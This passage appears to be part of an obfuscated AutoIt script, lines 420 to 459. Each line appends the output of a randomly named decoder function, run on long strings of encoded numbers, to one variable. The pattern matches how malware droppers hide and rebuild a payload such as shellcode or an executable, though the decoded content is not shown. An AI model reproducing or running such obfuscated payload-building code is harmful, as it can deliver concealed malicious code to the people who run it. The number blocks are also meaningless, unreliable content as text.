  420. $lmascgp &= btbxjymrfgaetpa("57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,57,56,58,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54")
  421. $lmascgp &= btbxjymrfgaetpa("56,55,56,57,56,54,56,55,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,53,56,60,56,54,56,59,57,57,56,53,56,6,56,55,56,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,54,56,54,56,5,56,53,56,58,56")
  422. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,57,56,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,57,56,53,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,53,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,6,57,54")
  423. $lmascgp &= btbxjymrfgaetpa("57,59,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,56,57,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,56,56,53,56,55,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,56,54,56,54,56,5,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,56,57,55,56,54,56,59,56,54,57,56,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,58,57,54,57,54,57,54,57")
  424. $lmascgp &= btbxjymrfgaetpa("54,56,54,56,55,56,56,56,59,56,6,56,6,56,6,56,55,56,60,57,59,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,57,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,57,57,57,57,57,54,56,5,57,54,57,54")
  425. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,57,56,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,56,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,56,56,54,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,54,57,57,57")
  426. $lmascgp &= btbxjymrfgaetpa("54,57,55,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,54,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,56,54,56,54,56,5,56,54,56,54,57,57")
  427. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,57,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,57,59,56,58,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,54,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,56,57,58,56,54,56")
  428. $lmascgp &= btbxjymrfgaetpa("55,56,54,56,54,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,56,55,56,6,56,6,56,6,56,55,56,6,56,6,57,54,57,56")
  429. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,56,56,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,54,57,57,56,53,56")
  430. $lmascgp &= btbxjymrfgaetpa("6,56,55,57,55,57,57,57,54,56,6,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,6,57,54")
  431. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,55,56,60,57,57,56,53,56,6,56,55,56,60,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56")
  432. $lmascgp &= btbxjymrfgaetpa("6,56,54,57,56,56,54,56,55,56,54,57,56,56,53,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,57,57,56,54,56,55,56,53,56,56,56,6,56,6,56,56,56,55,56,6,57,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,59,56,53,56,5,56,56,56,55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,6,56,54,56,55,56,54,56,57,56,53,56,55")
  433. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,57,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,56,6,56,60,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,56,6,56,56,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,56,6,56,54,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56")
  434. $lmascgp &= btbxjymrfgaetpa("6,56,55,56,5,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56")
  435. $lmascgp &= btbxjymrfgaetpa("56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,54,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56")
  436. $lmascgp &= btbxjymrfgaetpa("58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,55,56,56,56,54,56,6,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,54,56,56,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60")
  437. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,56,56,54,57,54,56,54,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,6,56,6,56,6,56,55,56,55,57,59,57,54,57,58,57")
  438. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,59,56,53,56,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,56,5,56,53,56,54,57,57,56,53,56,6,56,55,57,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,54,56,53,57,57,56,53,56,6")
  439. $lmascgp &= btbxjymrfgaetpa("56,55,57,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,55,56,56,56,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,58,56,54,56,55,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,60,57,57,57,54,56,5,57,54,57")
  440. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,56,54,56,55,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,54,56,59,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,55,56,53,56,56,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58")
  441. $lmascgp &= btbxjymrfgaetpa("56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56")
  442. $lmascgp &= btbxjymrfgaetpa("53,56,58,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54")
  443. $lmascgp &= btbxjymrfgaetpa("57,59,57,54,57,54,57,54,57,54,56,55,56,56,56,53,56,58,56,54,56,59,56,54,57,55,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,54,56,59,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56")
  444. $lmascgp &= btbxjymrfgaetpa("55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,56,56,57,56,53,56,55,57,57,56,53")
  445. $lmascgp &= btbxjymrfgaetpa("56,6,56,55,56,53,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,58,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,56,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,6,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,57,56,54,56,59,56,54,56,57,57,57,56,53,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,6,57,57,57,54,56,5,57")
  446. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,54,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,57,58,56,55,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,53,56,57,56,54,56,59,57,57,56,53,56,6")
  447. $lmascgp &= btbxjymrfgaetpa("56,55,56,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,56,53,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,5,57,54,57,54,57,54,57")
  448. $lmascgp &= btbxjymrfgaetpa("54,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,55,56,56,56,59,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,60,56,54,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,55")
  449. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,57,57,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,59,56,54,56,56,56,56,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,58,57,59,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56")
  450. $lmascgp &= btbxjymrfgaetpa("6,56,55,56,53,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,56,56,53,56,60,56,6,56,6,56,6,56,55,56,53,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,56,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,6,56,56,56,59,56,60,56,60,57,57")
  451. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,5,56,53,56,57,56,55,56,53,56,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,57,56,54,56,57,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,54,57,54,57")
  452. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,54,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55")
  453. $lmascgp &= btbxjymrfgaetpa("57,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,54,57")
  454. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,56,53,56,60,56,53,56,5,56,6,56,6,56,6,56,55,56,53,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,6,57,54")
  455. $lmascgp &= btbxjymrfgaetpa("57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,57,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,56,56,54,56,58,56,53,56,57,56,6,56,6,56,6,56,55,56,58,56,56,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56")
  456. $lmascgp &= btbxjymrfgaetpa("53,56,6,56,55,56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,5,57,55,57,54,57,57,57,54,57,54")
  457. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,6,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,53,56,54,56,5,56,54,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,53,56,6,56,6,56,6,56,55,57,57,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56")
  458. $lmascgp &= btbxjymrfgaetpa("53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57")
  459. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,57,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,57,56,54,56,59,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,56,56,54,56,55,56,54,56")
